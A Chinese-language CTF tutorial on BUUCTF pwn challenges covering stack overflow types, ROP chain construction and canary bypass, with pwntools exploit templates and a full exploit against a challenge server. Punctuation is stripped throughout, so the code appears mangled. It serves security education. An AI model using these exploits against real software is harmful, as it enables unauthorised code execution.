
BUUCTF Pwn 入门 32 题实战5 类栈溢出漏洞利用与 3 种 ROP 链构造1. 栈溢出漏洞基础与分类栈溢出是二进制安全领域最经典的漏洞类型之一。当程序向栈上的缓冲区写入超过其预定容量的数据时就会覆盖相邻的内存区域包括函数返回地址、栈帧指针等关键数据。根据利用方式的不同我们可以将栈溢出漏洞分为以下5种主要类型1.1 ret2text返回至代码段原理通过覆盖返回地址直接跳转到程序中已有的危险函数如system(/bin/sh)。典型特征为程序本身存在后门函数。利用条件存在可溢出的栈缓冲区程序已导入system等危险函数或有调用/bin/sh的代码片段示例模板from pwn import * p process(./vuln) ret_addr 0x08049182 # 后门函数地址 payload bA*offset p32(ret_addr) p.sendline(payload) p.interactive()1.2 ret2libc返回至libc原理当程序没有直接可用的危险函数时通过泄露libc地址计算出system和/bin/sh的实际地址构造ROP链调用。关键步骤泄露GOT表中某个函数的实际地址计算libc基址定位system和/bin/sh地址32位与64位差异架构参数传递方式栈对齐要求x86参数压栈无x64RDI/RSI/RDX寄存器传参需16字节对齐1.3 格式化字符串漏洞特征使用printf(s)而非printf(%s, s)时若s用户可控可通过%x泄露内存或%n写入内存。利用技巧%n将已输出字符数写入指定地址%{offset}$p直接访问栈上第offset个参数防御绕过# 当输入长度受限时 payload p32(target_addr) b%10$n1.4 整数溢出转栈溢出触发场景unsigned int len; char buf[100]; read(0, buf, len); // 当len为-1时实际读取长度巨大利用模式通过整数溢出绕过长度检查触发缓冲区溢出控制流1.5 栈迁移技术适用场景溢出空间不足时通过leave; ret指令序列将栈转移到可控区域如.bss段。关键指令leave # mov esp, ebp; pop ebp ret # pop eip2. ROP链构造方法论2.1 基础ROP构造32位模板payload flat( bA*offset, system_addr, 0xdeadbeef, # 返回地址 binsh_addr )64位模板payload flat( bA*offset, pop_rdi, binsh_addr, ret_addr, # 栈对齐 system_addr )2.2 通用gadget利用x86_64常见gadgetrop ROP(./vuln) rop.call(puts, [elf.got[puts]]) rop.call(main)工具推荐ROPgadget --binary ./vuln | grep pop rdi ropper -f ./vuln --chain execve cmd/bin/sh2.3 无libc情况下的利用DynELF使用def leak(addr): payload flat(offset, pop_edi, addr, puts_plt, main_addr) p.sendline(payload) return p.recv(4) d DynELF(leak, elfELF(./vuln)) system_addr d.lookup(system, libc)3. 漏洞类型对比分析下表总结了5类栈溢出漏洞的特征和利用方式类型关键特征利用难度防御绕过方法ret2text存在后门函数★☆☆☆☆直接覆盖返回地址ret2libc需泄露libc地址★★★☆☆构造ROP链格式化字符串可控的printf参数★★★★☆精确计算偏移整数溢出无符号数校验缺陷★★☆☆☆输入超大值触发类型转换栈迁移溢出空间不足★★★★☆控制ebp实现栈转移4. 实战案例精析4.1 ret2text典型题解题目jarvisoj_level0分析步骤检查保护机制checksec --filelevel0IDA定位危险函数callsystem()计算偏移pattern create 200pattern offset $ebp构造payload完整expfrom pwn import * context(archamd64, oslinux) p remote(node5.buuoj.cn, 25252) payload bA*0x88 p64(0x400596) p.send(payload) p.interactive()4.2 ret2libc高级利用题目ciscn_2019_c_1分阶段payload# 阶段1泄露puts地址 rop1 flat( bA*0x58, pop_rdi, puts_got, puts_plt, main_addr ) # 阶段2计算system地址并getshell libc LibcSearcher(puts, puts_addr) rop2 flat( bA*0x58, pop_rdi, binsh_addr, ret_addr, # 栈对齐 system_addr )5. 防御绕过技巧5.1 栈对齐处理现象64位程序调用system时出现movaps指令崩溃解决方案payload flat( bA*offset, ret_gadget, # 额外ret指令对齐 pop_rdi, binsh_addr, system_addr )5.2 Canary绕过方法信息泄露# 通过格式化字符串泄露canary p.sendline(%23$p) canary int(p.recvline(), 16)覆盖技巧payload bA*offset p32(canary) bB*12 p32(target)6. 工具链与调试技巧GDB增强配置# ~/.gdbinit source ~/peda/peda.py set follow-fork-mode child实用命令b *main # 主函数断点 stack 20 # 查看栈20行 x/10i $eip # 反汇编10条指令 telescope $rsp # 智能解析栈内容内存泄露检测# 检测可泄露的地址 for i in range(1,50): p.sendline(f%{i}$p.encode()) print(f{i}: {p.recvline()})